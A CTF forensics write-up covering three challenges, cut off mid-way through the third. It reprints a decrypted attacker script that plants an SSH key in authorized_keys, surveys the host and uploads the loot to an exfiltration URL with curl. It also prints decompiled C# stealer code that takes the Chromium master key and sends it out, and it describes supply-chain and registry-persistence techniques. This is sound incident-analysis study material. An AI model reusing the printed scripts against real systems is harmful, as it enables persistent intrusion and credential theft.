Introduction
My friend Quoc Hung @get-wright was able to get me a spot on the HTB Business CTF 2026: Project Nightfall team, and I had a lot of fun participating in the CTF and writing these write-ups.
The Gilded Ghost
Description
Gabe received a late-night call: the city’s water filtration system had triggered alerts consistent with unauthorized access. When the team reviewed surveillance footage, they spotted a figure moving through the facility—keeping to the shadows, avoiding cameras, and heading straight for an operator workstation. The attacker was in and out within minutes. No tools were left behind at the workstation, no obvious malware was found, and the trail went cold—until the final camera angle caught something odd. As the intruder exited, they tossed a small object into the dumpster behind the building. An intern was voluntold to perform “high-impact evidence recovery” and climbed in to search. They surfaced with a single item: a USB drive. You’ve been provided a disk image of the USB. Determine what was on it and what the attacker intended to do—ASAP.
Walkthrough
Initial triage
This challenge provided a usb.img file, so I started by using the file command to check the file type:
linux@linux /m/c/U/q/D/H/forensics_the_gilded_ghost> file usb.img
usb.img: DOS/MBR boot sector; partition 1 : ID=0xc, start-CHS (0x10,0,1), end-CHS (0x3ff,3,32), startsector 2048, 129024 sectorsThe output indicates that usb.img is a disk image with a DOS/MBR boot sector. It contains one partition (partition 1) with the following details:
- Partition type:
0x0c(FAT32 with LBA) - Start CHS:
(0x10,0,1) - End CHS:
(0x3ff,3,32) - Start sector:
2048 - Total sectors:
129024
Next, I loaded the image into Autopsy to analyze the contents of the USB drive.

Task 1
What filesystem is used in the USB image?The filesystem used in the USB image is FAT32. The MBR partition type is 0x0c, which indicates FAT32 with LBA. It can also be found in Autopsy under the partition details.

The answer is FAT32.
Task 2
What is the partition start offset (in sectors) for the filesystem?The partition start offset for the filesystem is 2048 sectors, as indicated in the output of the file command. It can also be found in Autopsy under the partition details.
The answer is 2048.
Task 3
What file explains how to use the payload?In the USB image, there is a file named README.txt that explains how to use the payload. It can be found in Autopsy.

The answer is README.txt.
Task 4
What is the Sleuth Kit metadata address (inode number shown by fls) for the deleted setup.sh file?Autopsy shows that the setup.sh file is deleted and its metadata address (inode number) is 13.

The answer is 13.
Task 5
What encryption algorithm is used to protect the payload? (format: ***-***-***)The contents of setup.sh are shown below:
#!/bin/bash
set -euo pipefail
ENC="payload.enc"
KEY="AllH4!lVANE!!!"
openssl enc -d -aes-256-cbc -pbkdf2 -iter 100000 -salt \
-pass pass:"${KEY}" \
-in "${ENC}" \
-out /tmp/stage.sh
bash /tmp/stage.shThe script takes the payload.enc file and decrypts it using the openssl enc command with the following parameters:
-d: decrypt mode-aes-256-cbc: uses the AES-256-CBC cipher-pbkdf2: uses PBKDF2 for key derivation-iter 100000: sets the number of key-derivation iterations-salt: uses a salt for key derivation-pass pass:"${KEY}": uses the password stored in theKEYvariable-in "${ENC}": specifies the input file to decrypt-out /tmp/stage.sh: writes the decrypted output to/tmp/stage.sh
The answer is AES-256-CBC.
Task 6
What key/passphrase is used to decrypt the encrypted payload?The key/passphrase used to decrypt the encrypted payload is in setup.sh.
The answer is AllH4!lVANE!!!.
Task 7
What is the attacker’s SSH public key comment/identity string?I decrypted the payload.enc file using the key/passphrase found earlier:
linux@linux /m/c/U/q/D/H/forensics_the_gilded_ghost> openssl enc -d -aes-256-cbc -pbkdf2 -iter 100000 -salt \
-pass pass:'AllH4!lVANE!!!' \
-in payload.enc \
-out decrypted.shThe contents of the decrypted file decrypted.sh are shown below:
#!/bin/bash
set -euo pipefail
EXFIL_URL="http://uplink.korvia.gov:8080/api/v1/ingest"
GHOST_PUB='ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPnCjVpE+SqRDTKLN5IYDYULJGXmAItja5qNt34cma07 D9:GildedWeaver:Ghost'
# --- Persistence: add attacker SSH key ---
mkdir -p "${HOME}/.ssh" 2>/dev/null || true
chmod 700 "${HOME}/.ssh" 2>/dev/null || true
AUTH_KEYS="${HOME}/.ssh/authorized_keys"
touch "${AUTH_KEYS}" 2>/dev/null || true
chmod 600 "${AUTH_KEYS}" 2>/dev/null || true
# Append only if not already present
grep -qxF "${GHOST_PUB}" "${AUTH_KEYS}" 2>/dev/null || echo "${GHOST_PUB}" >> "${AUTH_KEYS}" 2>/dev/null || true
# --- Enumeration ---
OUTDIR="/tmp/gw"
mkdir -p "${OUTDIR}"
{
echo "[D9] unit=GildedWeaver operator=Ghost"
date 2>/dev/null || true
echo
echo "[whoami]"
id 2>/dev/null || true
echo
echo "[hostname]"
hostname 2>/dev/null || true
echo
echo "[uname]"
uname -a 2>/dev/null || true
echo
echo "[ip]"
(ip a || ifconfig) 2>/dev/null || true
echo
echo "[routes]"
(ip route || route -n) 2>/dev/null || true
echo
echo "[processes]"
ps aux 2>/dev/null || true
} > "${OUTDIR}/survey.txt"
# Bundle the loot
tar -czf "${OUTDIR}/loot.tar.gz" -C "${OUTDIR}" survey.txt 2>/dev/null || true
# --- Exfil ---
if command -v curl >/dev/null 2>&1; then
curl -sS -m 3 -X POST -F "file=@${OUTDIR}/loot.tar.gz" "${EXFIL_URL}" >/dev/null 2>&1 || true
fiThis script performs the following actions:
- Defines an exfiltration URL and an SSH public key for the attacker.
- Ensures the attacker’s SSH key is added to the
authorized_keysfile for persistence. - Collects system information (user, hostname, kernel version, IP addresses, routes, and running processes) and saves it to
survey.txt. - Bundles the collected information into a tar.gz file named
loot.tar.gz. - Attempts to exfiltrate the bundled information to the specified URL using
curl.
The attacker’s SSH public key comment/identity string is D9:GildedWeaver:Ghost.
The answer is D9:GildedWeaver:Ghost.
Task 8
What is the full path of the file that was exfiltrated?From the script, we can see that the exfiltrated file is loot.tar.gz, located in the /tmp/gw directory.
The answer is /tmp/gw/loot.tar.gz.
Task 9
What is the exfiltration destination (full URL path)?The exfiltration destination is defined in the EXFIL_URL variable in the script.
The answer is http://uplink.korvia.gov:8080/api/v1/ingest.
Questions and Answers
| Task | Question | Answer |
|---|---|---|
| 1 | What filesystem is used in the USB image? | FAT32 |
| 2 | What is the partition start offset (in sectors) for the filesystem? | 2048 |
| 3 | What file explains how to use the payload? | README.txt |
| 4 | What is the Sleuth Kit metadata address (inode number shown by fls) for the deleted setup.sh file? | 13 |
| 5 | What encryption algorithm is used to protect the payload? | AES-256-CBC |
| 6 | What key/passphrase is used to decrypt the encrypted payload? | AllH4!lVANE!!! |
| 7 | What is the attacker’s SSH public key comment/identity string? | D9:GildedWeaver:Ghost |
| 8 | What is the full path of the file that was exfiltrated? | /tmp/gw/loot.tar.gz |
| 9 | What is the exfiltration destination (full URL path)? | http://uplink.korvia.gov:8080/api/v1/ingest |
MITRE ATT&CK Mapping
| Observed Activity | ATT&CK Tactic | ATT&CK Technique |
|---|---|---|
| Payload staged on a USB drive | Initial Access | T1200 - Hardware Additions |
setup.sh executes the decrypted stage with Bash | Execution | T1059.004 - Command and Scripting Interpreter: Unix Shell |
payload.enc protected with AES-256-CBC | Defense Evasion | T1027 - Obfuscated Files or Information |
Attacker SSH key added to authorized_keys | Persistence | T1098.004 - Account Manipulation: SSH Authorized Keys |
| Host, user, network, route, and process information collected | Discovery | T1082 - System Information Discovery |
Survey output bundled into loot.tar.gz | Collection | T1560.001 - Archive Collected Data: Archive via Utility |
loot.tar.gz exfiltrated with curl over HTTP | Exfiltration | T1041 - Exfiltration Over C2 Channel |
Trust and Betrayal
Description
Gabe Okoye has flagged a disturbing shift in our systems’ lineage immediately following the deployment of VeldoriaPanel, an application we built internally with security in mind. Although the panel is a trusted service, its installation coincides with the appearance of malicious activity that feels too disciplined to be random. We need you to determine if this internal tool has been nudged to create a silent opening for the adversary. Your mission is to uncover if our own secure development path has been compromised to grant Silas Vane the permanent, quiet access he requires.
Walkthrough
Initial triage
This challenge likely provided a C: drive acquisition of the compromised system, so I loaded the data into Autopsy to analyze the contents of the disk image.

From there, I found the VeldoriaPanel data in the Documents folder.

This appears to be a Node.js application.

I also ran hayabusa against the logs folder to identify notable events.

Task 1
What is the filename of the malicious file that executed the first stage of the attack?Since VeldoriaPanel is a Node.js application, I looked for JavaScript files that could be malicious. I imported the hayabusa output into Timeline Explorer and searched for .js. I focused on two rule titles: NodeJS Execution of JavaScript File and Proc Exec.

From the NodeJS Execution of JavaScript File rule, two files stand out: install.js and setup.js. Both appear to be user scripts, unlike npm-prefix.js or npm-cli.js, which are part of the Node.js/npm tooling. The timeline also shows that both files executed almost at the same time, within about 12 milliseconds of each other. This narrowed the search down to these two files.

Next, the Proc Exec rule shows that right after install.js and setup.js executed, the command where powershell ran, followed by the normal Node.js esbuild process. Finally, a .vbs script was executed from the %TEMP% folder using cscript.exe. This .vbs script is likely the second stage of the attack.

These two files are the most likely candidates for the malicious file that executed the first stage of the attack. I then checked their contents to determine which one was malicious.
The install.js file does not look malicious; it appears to be a normal installation script. However, setup.js does not appear in the file system acquisition, which means it was likely deleted after execution.
The answer is setup.js.
Task 2
What is the name of the malicious library or package that contained the file identified in the previous question?As mentioned above, setup.js does not appear in the file system acquisition, which means it was likely deleted after execution. I used the built-in Keyword Search in Autopsy to search for setup.js across the entire disk image.


The answer is simple-crypto-js.
Task 3
What is the name of the top-level package that was compromised by pulling in the malicious dependency?Knowing that the compromised library is simple-crypto-js, I looked for any package that had this library as a dependency by checking the package-lock.json file in the VeldoriaPanel folder.

The answer is axios.
Task 4
What is the domain name used for data exfiltration or payload retrieval?In Task 1, I found that a .vbs script was executed from the %TEMP% folder, so I looked more closely at the events around that time. Parsing the Sysmon logs showed several commands related to the .vbs script, including curl.

From the curl command, I can see that a POST request was made to the attacker-controlled domain, and the response was saved to a .ps1 file.

The answer is rustf.htb:8000.
Task 5
What is the filename of the VBScript used to execute the next stage of the attack?As seen in the previous question, a .vbs script was executed in the %TEMP% folder using cscript.exe.
The answer is 6202033.vbs.
Task 6
What was the original name of the binary before it was renamed by the attacker to evade detection?A file called wt.exe was executed. Normally, wt.exe is the Windows Terminal executable, but in this case it is likely a renamed malicious binary because it was executed from ProgramData, which is not the default Windows Terminal folder. Before the .vbs script executed, the attacker also ran where powershell, likely to check whether PowerShell was available on the system, either to use it for the next stage or to copy it to another location for later use. Therefore, the original binary was likely powershell.exe before the attacker renamed it to wt.exe to evade detection.
To confirm this, I parsed the Amcache with AmcacheParser.

The Amcache metadata for wt.exe shows Microsoft Windows file metadata, including version 10.0.26100.3323, which is consistent with a renamed Windows system binary.
Using Keyword Search in Autopsy to search for wt.exe also yielded some results.

The answer is powershell.exe.
Task 7
Based on the initial entry point you identified, what is the MITRE ATT&CK Technique ID for this specific method of compromise? (TXXXX.YYY)The initial entry point of the attack is the execution of setup.js, a malicious JavaScript file executed using Node.js. The script belongs to the simple-crypto-js library, which is a dependency of the axios package. This method of compromise is known as supply chain compromise, where the attacker compromises a third-party library or package used by the target application to gain access to the target system.

According to the MITRE ATT&CK framework, the technique ID for Supply Chain Compromise is T1195, with T1195.001 covering compromised software dependencies and development tools.
The answer is T1195.001.
Task 8
What is the registry key, including the hive, that was modified to establish persistence for the malicious binary?In the Sysmon logs, grouping by Map Description allowed me to see the entries for RegistryEvent (Value Set), which indicate that a registry key was modified.

Filtering for wt.exe, I can see that it set the value C:\ProgramData\system.bat for a registry value named MicrosoftUpdate in HKU\S-1-5-21-1951309463-2880286089-3258862196-1001\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate. This Run key is commonly used for persistence because it allows the specified program to run when that user logs on.
The answer is HKU\S-1-5-21-1951309463-2880286089-3258862196-1001\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate.
Questions and Answers
| Task | Question | Answer |
|---|---|---|
| 1 | What is the filename of the malicious file that executed the first stage of the attack? | setup.js |
| 2 | What is the name of the malicious library or package that contained the file identified in the previous question? | simple-crypto-js |
| 3 | What is the name of the top-level package that was compromised by pulling in the malicious dependency? | axios |
| 4 | What is the domain name used for data exfiltration or payload retrieval? | rustf.htb:8000 |
| 5 | What is the filename of the VBScript used to execute the next stage of the attack? | 6202033.vbs |
| 6 | What was the original name of the binary before it was renamed by the attacker to evade detection? | powershell.exe |
| 7 | Based on the initial entry point you identified, what is the MITRE ATT&CK Technique ID for this specific method of compromise? | T1195.001 |
| 8 | What is the registry key (including the hive) that was modified to establish persistence for the malicious binary? | HKU\S-1-5-21-1951309463-2880286089-3258862196-1001\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate |
MITRE ATT&CK Mapping
| Observed Activity | ATT&CK Tactic | ATT&CK Technique |
|---|---|---|
| Malicious dependency pulled through the Node.js package chain | Initial Access | T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools |
Malicious setup.js executed through Node.js | Execution | T1059.007 - Command and Scripting Interpreter: JavaScript |
6202033.vbs executed with cscript.exe | Execution | T1059.005 - Command and Scripting Interpreter: Visual Basic |
Payload retrieved from rustf.htb:8000 with curl | Command and Control | T1105 - Ingress Tool Transfer |
powershell.exe renamed to wt.exe in ProgramData | Defense Evasion | T1036.003 - Masquerading: Rename System Utilities |
MicrosoftUpdate value written under the user’s Run key | Persistence | T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
COMfortable Exfiltration
Description
Gabe Okoye launched a forensic investigation after unnatural startup lockups plagued the National Election Commission’s logistics servers. Initially dismissed as hardware failure amid the cyber-terror smokescreen, Gabe uncovered a sophisticated Directorate 9 intrusion. Gilded Weaver operators weaponized the boot process, embedding a covert service that spawns an advanced credential stealer into memory before the OS initializes. This implant intentionally interferes with drive encryption protocols, causing localized volume mounting issues to mask the exfiltration of master decryption keys. Vane’s forces are using these encrypting drive failures as chaotic cover to secure permanent access before the election. You have been provided with a forensic capture of the compromised boot sequence. Dissect the covert service, recover the stolen keys, and neutralize the persistence mechanism before the infrastructure cascade is irreversible.
Walkthrough
Initial triage
The challenge provided two .ad1 files and a memory dump. The .ad1 format is a custom file format used by AccessData to store forensic images, so Autopsy cannot read it directly. The only tool I could use to read it was FTK Imager.
User.ad1 returned a user named thome.
User.ad2 was also from thome.

I parsed the memory dump with MemProcFS.

There was not much to check at this point. Using FTK Imager is inconvenient because it does not let me import the image into Autopsy, so I had to manually export files from the image before analyzing them.
Task 1
There is an installed service disguised as a Microsoft component. What is the full path of the executable?To find the installed services, I had to look at the memory dump because services are stored in the HKLM\SYSTEM registry hive. That registry hive is not included in the .ad1 images because they only contain user folders. Using MemProcFS to navigate to \registry\HKLM\SYSTEM\ControlSet001\Services showed the list of installed services.

Finding the answer manually would take a lot of time, so I asked Claude Code to identify the service that was not a legitimate Microsoft component. The service that stood out was Microsoft Update, since the legitimate Windows Update service is wuauserv. This is likely the malicious service installed by the attacker.

Checking its path revealed the following:

No updater component should be installed in the %TEMP% folder, so this is likely the malicious service installed by the attacker.
The answer is C:\Temp\Microsoft Cache\updater.exe.
Task 2
The injector shadows an object into the HKCU registry. Using its CLSID, what is the name of the object?Explanation - COM Objects and COM Hijacking
COM (Component Object Model): A Microsoft technology that allows software components to communicate with each other. COM objects are identified by a unique CLSID (Class ID) and can be used for various purposes, including persistence mechanisms for malware.
COM hijacking: A technique where an attacker creates a malicious COM object and registers it in the Windows Registry under the HKCU (HKEY_CURRENT_USER) hive. This allows the attacker to execute their malicious code when the legitimate application tries to access the COM object, effectively hijacking the application’s functionality for malicious purposes.
The malware injects itself into a process by shadowing an object into the HKCU registry. To find the CLSID of the shadowed object, I checked the memory dump again and navigated to \registry\HKCU\Software\Classes\CLSID to look for any suspicious CLSID. However, there was nothing obvious there.

It seemed that MemProcFS was not showing the full HKCU registry hive, so I had to use the registry hive from the image: the UsrClass.dat file.
Explanation - UsrClass.dat
UsrClass.dat is a registry hive file that contains user-specific settings and configurations for the Windows operating system. It is part of the Windows Registry, which is a hierarchical database that stores low-level settings for the operating system and for applications that opt to use the registry. The UsrClass.dat file specifically contains information related to user classes, which are used to define the behavior of certain types of objects in the Windows environment, such as file associations, COM objects, and other user-specific settings. By analyzing the UsrClass.dat file, forensic investigators can uncover evidence of malicious activity, such as shadowed objects or injected code that may be used for persistence or other nefarious purposes.
However, UsrClass.dat did not show any suspicious CLSID either, so I pivoted to using Volatility to analyze the memory dump and search for suspicious CLSIDs in the HKCU registry hive.
First, I used the windows.registry.printkey plugin to print the registry key Software\Classes\CLSID.
PS <REDACTED> > vol -f .\mem.elf windows.registry.printkey --key "Software\Classes\CLSID"
Volatility 3 Framework 2.28.0
Progress: 100.00 PDB scanning finished
Last Write Time Hive Offset Type Key Name Data Volatile
- 0xa58c8c2dd000 Key [NONAME]\Software\Classes\CLSID - - -
- 0xa58c8c28c000 Key \REGISTRY\MACHINE\SYSTEM\Software\Classes\CLSID - - -
- 0xa58c8c36a000 Key \REGISTRY\MACHINE\HARDWARE\Software\Classes\CLSID - - -
- 0xa58c8c97c000 Key \SystemRoot\System32\Config\SECURITY\Software\Classes\CLSID - - -
- 0xa58c8c981000 Key \SystemRoot\System32\Config\SOFTWARE\Software\Classes\CLSID - - -
2026-05-09 22:23:58.000000 UTC 0xa58c8c97f000 Key \SystemRoot\System32\Config\DEFAULT\Software\Classes\CLSID {00000566-0000-0010-8000-00AA006D2EA4} N/A False
- 0xa58c8c98b000 Key \SystemRoot\System32\Config\SAM\Software\Classes\CLSID - - -
- 0xa58c8fd03000 Key \Device\HarddiskVolume1\EFI\Microsoft\Boot\BCD\Software\Classes\CLSID - - -
- 0xa58c91106000 Key \??\C:\WINDOWS\ServiceProfiles\NetworkService\NTUSER.DAT\Software\Classes\CLSID - - -
- 0xa58c9154f000 Key \SystemRoot\System32\Config\BBI\Software\Classes\CLSID - - -
- 0xa58c9128d000 Key \??\C:\WINDOWS\ServiceProfiles\LocalService\NTUSER.DAT\Software\Classes\CLSID - - -
- 0xa58c91d09000 Key \SystemRoot\System32\config\DRIVERS\Software\Classes\CLSID - - -
- 0xa58c93314000 Key \??\C:\WINDOWS\AppCompat\Programs\Amcache.hve\Software\Classes\CLSID - - -
- 0xa58c929f1000 Key \??\C:\Users\m.thorne\ntuser.dat\Software\Classes\CLSID - - -
- 0xa58c92ac1000 Key \??\C:\Users\m.thorne\AppData\Local\Microsoft\Windows\UsrClass.dat\Software\Classes\CLSID - - -
- 0xa58c93614000 Key \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.CBS_9.2602.17001.0_x64__8wekyb3d8bbwe\ActivationStore.dat\Software\Classes\CLSID - - -
- 0xa58c937be000 Key \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.CoreAI_1000.26100.8246.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID -- -
- 0xa58c9379e000 Key \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID -- -
- 0xa58c937ed000 Key \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.OOBE_1000.26100.40.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID - --
- 0xa58c937ea000 Key \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID -- -
- 0xa58c937f5000 Key \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.Core_1000.26100.86.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID - --
- 0xa58c93814000 Key \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.CBS_1000.26100.297.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID - --
- 0xa58c938ea000 Key \??\C:\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-1291622023-1877101182-1066255875-1001\SystemAppData\Helium\Cache\83a2c17a63ba732b.dat\Software\Classes\CLSID - - -
- 0xa58c93940000 Key \??\C:\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-1291622023-1877101182-1066255875-1001\SystemAppData\Helium\Cache\83a2c17a63ba732b_COM15.dat\Software\Classes\CLSID - - -
- 0xa58c93943000 Key \??\C:\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-1291622023-1877101182-1066255875-1001\SystemAppData\Helium\Cache\83a2c17a63ba732b.dat\Software\Classes\CLSID - - -
- 0xa58c93bf7000 Key \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID - - -
- 0xa58c93b06000 Key \??\C:\Users\m.thorne\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat\Software\Classes\CLSID - - -
- 0xa58c93d38000 Key \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.CBS.1.6_6000.708.357.100_x64__8wekyb3d8bbwe\ActivationStore.dat\Software\Classes\CLSID -- -
- 0xa58c93e44000 Key \??\C:\Users\m.thorne\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat\Software\Classes\CLSID - - -
- 0xa58c94ec7000 Key \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.CrossDevice_0.26032.83.0_x64__cw5n1h2txyewy\ActivationStore.dat\Software\Classes\CLSID - --The important part is \??\C:\Users\m.thorne\AppData\Local\Microsoft\Windows\UsrClass.dat\Software\Classes\CLSID, so I continued filtering for that. I used the same plugin with --offset 0xa58c92ac1000 to specify the offset of the UsrClass.dat registry hive and output the results to a file.
PS <REDACTED> > vol -f .\mem.elf windows.registry.printkey --offset 0xa58c92ac1000 --recurse > extraction.txtNext, I searched for CLSID in extraction.txt to find the information needed.

Looking at the output directly did not reveal the answer. I noticed that three entries from the same CLSID had the InprocServer32 subkey, which is commonly used for COM hijacking, so I focused on those entries.

Explanation - InprocServer32
InprocServer32 is a registry key used by Component Object Model (COM) objects to specify the path to the DLL that implements the object. In the context of malware analysis, this key is often exploited for persistence by replacing the legitimate DLL path with a malicious one. This allows the malware to execute its code when the COM object is instantiated. For example, if a legitimate COM object is registered with an InprocServer32 key pointing to a system DLL, an attacker can modify this key to point to a malicious DLL that they have created. When the system or an application tries to use the COM object, it will load the malicious DLL instead of the legitimate one, allowing the attacker to execute their code with the privileges of the process that is using the COM object.
The InprocServer32 subkey contains the path to the malicious DLL used for persistence. The CLSID of the shadowed object is {00000566-0000-0010-8000-00AA006D2EA4}. Next, I needed to find the name of the object associated with this CLSID.


The answer is ADODB.Stream.
Task 3
Following its self-duplication, the malware drops a secondary file onto the system. What is the filename of this secondary file?The malware identified in Task 1 is updater.exe, located at C:\Temp\Microsoft Cache\updater.exe. To determine which secondary file was dropped by the malware, I analyzed the malware’s behavior.


Looking at the malware’s main function, it drops a file named kathcjaz.quh in C:\ProgramData\WindowsSupport\Packages\Drivers.
The answer is kathcjaz.quh.
Task 4
What is the (C#) class name and the corresponding CLSID that is exposed to the COM API (Name:{GUID})?The question hinted that the second malicious file is a C# file, so I analyzed kathcjaz.quh with dnSpy to inspect its contents.


The GrumpyFisherman class has the ComVisible attribute, which means it is exposed to the COM API. The CLSID of this class is b3ccd9d8-ffec-4de0-8005-185a6364cedb.
The answer is GrumpyFisherman:{b3ccd9d8-ffec-4de0-8005-185a6364cedb}.
Task 5
What is the CLSID responsible for calling the .NET function that installs the malicious service? ({GUID})The GrumpyFisherman class is responsible for installing the malicious service, so I had to find the CLSID whose subkey contains GrumpyFisherman. Finding it manually would take a lot of time, so I searched for the string GrumpyFisherman in the memory dump.

Many entries appeared with the same structure in the registry hive.
{4785f458-4230-48a1-b813-b16094c16acc}{0128ad20-af37-4421-851c-5c06de5c2b2c}{9133cefd-fe20-47f5-85f0-d560b6e740c5}
The answer is {0128ad20-af37-4421-851c-5c06de5c2b2c}.
Task 6
One of the .NET code's functions disables BitLocker protection. Which __WINDOWS_CLSID is responsible for that? ({GUID})In kathcjaz.quh, there is a class called FveUi, which is a COM object used to interact with BitLocker Drive Encryption in Windows. The malware calls the method ((IFveUiDispatch)new FveUi()).DoTurnOffDeviceEncryption(); through IFveUiDispatch.



The answer is {A7A63E5C-3877-4840-8727-C1EA9D7A4D50}.
Task 7
What is the complete exfiltration URL without the key? (http[s]://URL:PORT/PATH/)In the GrumpyFisherman class, there is a method called GetChromiumKeyDirect.
public byte[] GetChromiumKeyDirect()
{
byte[] result;
try
{
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), ?60?.?61?("IŴɴͨѰխٺ݊ࡀ१੶ୠఱൔེၬᅐቇ፥ᑪᕩᙫᜦᡖᥰᩢ᭶ᱤ"));
if (!File.Exists(text))
{
throw new FileNotFoundException(?60?.?61?("SűɾͽѷԺيݬࡶॢੰൻཱུုᅠቢ፸ᐫᕬᙦᡩᥢᨥ᭥ᱷᴸḡ") + text);
}
string tempFileName = Path.GetTempFileName();
File.Copy(text, tempFileName, true);
string text2 = File.ReadAllText(tempFileName);
File.Delete(tempFileName);
string text3 = ?60?.?61?("3ŵɡͭѿյٻݾ६୭ౠൽม༸ဣ");
int num = text2.IndexOf(text3) + text3.Length;
int num2 = text2.IndexOf(?60?.?61?("#"), num);
byte[] array = Convert.FromBase64String(text2.Substring(num, num2 - num));
byte[] array2 = new byte[array.Length - 5];
Array.Copy(array, 5, array2, 0, array2.Length);
result = ProtectedData.Unprotect(array2, null, DataProtectionScope.CurrentUser);
}
catch (Exception)
{
result = null;
}
return result;
}The code contains some obfuscated strings, so I decoded them using the available information about the ?61? decoding function.

A Python script that mimics the decoding function can decode the obfuscated strings.
def dec(s):
l = len(s)
out = []
for i, c in enumerate(s):
oc = ord(c)
b = (oc & 0xff) ^ (l - i)
b2 = ((oc >> 8) & 0xff) ^ i
out.append(chr((b2 << 8) | b))
return ''.join(out)
print(dec("PASTE_STRING_HERE"))Using the script above, I decoded the obfuscated strings in the code as follows:

This function retrieves the Chromium encryption key from Local State. It builds a path to the Local State file, copies it if it exists, reads the contents, extracts the key, removes the DPAPI prefix, and then unprotects it using the CryptUnprotectData() function. The result is the raw Chromium AES master key, which can be used to decrypt Chromium data.
Next, a method called HyperAlan also contains obfuscated strings.
public int HyperAlan(string ?46?)
{
IntPtr zero = IntPtr.Zero;
IntPtr zero2 = IntPtr.Zero;
int result = -1;
string ?43? = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), ?60?.?61?("pŋɍ͓щժٳ݁ࡉ२୫సཡၵᅏቖ፴ᑶᕮᙻᝡᡸᥗᩆ᭦ᱯᵮṨἥ⁀Ⅲ≶⍠"));
try
{
Process[] processesByName = Process.GetProcessesByName(?46?);
if (processesByName.Length == 0)
{
throw new Exception(?60?.?61?("Bţɿͬѫվٿܫࡤ०ଧౠ൪ၦᄯ"));
}
if (!GrumpyFisherman.?6?(processesByName[0].Handle, 10U, out zero))
{
throw new Exception(?60?.?61?("[ŽɲͶѼռطݢࡺऴୢൾฯཾၿᅣቨ፯ᑺᕻᘧᝲᡪᩦ᭬ᰯ"));
}
if (!GrumpyFisherman.?7?(zero, 33554432U, IntPtr.Zero, 2, 2, out zero2))
{
throw new Exception(?60?.?61?("\\Ÿɱͻѳձشݧࡽऱੴ౾ൡཨၫᅽቭጧᑲᕪᙯᝦᡬ"));
}
if (GrumpyFisherman.?8?(zero2))
{
string ?44? = BitConverter.ToString(this.GetChromiumKeyDirect()).Replace(?60?.?61?(","), ?60?.?61?(""));
this.?11?(?43?, ?44?).Wait();
GrumpyFisherman.?9?();
result = 0;
}
}
finally
{
if (zero != IntPtr.Zero)
{
GrumpyFisherman.?10?(zero);
}
if (zero2 != IntPtr.Zero)
{
GrumpyFisherman.?10?(zero2);
}
}
return result;
}I used the same method to decode the obfuscated strings in HyperAlan.

This function is used to steal the key and exfiltrate it to the attacker’s server. First, it checks for browser processes such as chrome, edge, and thorium. Then it steals the security token of the browser process, uses the token to impersonate the user, and calls the GetChromiumKeyDirect() method to retrieve the raw Chromium AES master key. This is necessary because GetChromiumKeyDirect() uses the CryptUnprotectData() function to unprotect the key, which requires the user’s context. Therefore, the malware needs to impersonate the user running the browser process to retrieve the key. Finally, it exfiltrates the key to the attacker’s server using an HTTP request in the ?11? method.
Next, I checked the ?11? method to find the exfiltration URL.
// GrumpyFisherman
// Token: 0x0600000F RID: 15 RVA: 0x00002274 File Offset: 0x00000474
private Task ?11?(string ?43?, string ?44?)
{
GrumpyFisherman.?1? ?1?;
?1?.<>t__builder = AsyncTaskMethodBuilder.Create();
?1?.<>4__this = this;
?1?.filePath = ?43?;
?1?.endpoint = ?44?;
?1?.<>1__state = -1;
?1?.<>t__builder.Start<GrumpyFisherman.?1?>(ref ?1?);
return ?1?.<>t__builder.Task;
}The ?11? method is an asynchronous method used to exfiltrate the stolen key to the attacker’s server. The actual exfiltration logic is in the ?1? struct, which is the state machine for the asynchronous method. Analyzing the ?1? struct reveals the exfiltration URL.
To do this, I needed to check the MoveNext() method of the ?1? struct, which contains the actual logic of the asynchronous method. This means checking the async state machine for the ?11? method, since the ?11? method shown above is only the async/await wrapper generated by the decompiler (dnSpy in this case).
To view the async state machine, I had to disable the Decompile async methods (async/await) option in dnSpy settings: View -> Options -> Decompiler -> C# -> Uncheck Decompile async methods (async/await).

After that, I could see the actual code of the ?11? method without the async/await syntax. Analyzing the code revealed the exfiltration URL.

The same obfuscated strings are used in the code, so I decoded them using the same method as before.

This function compresses the file with gzip, then sends it to the attacker’s server using an HTTP POST request with the stolen key as the endpoint.
The answer is http://check.microsoftcloudservices.htb:8000/update/.
Task 8
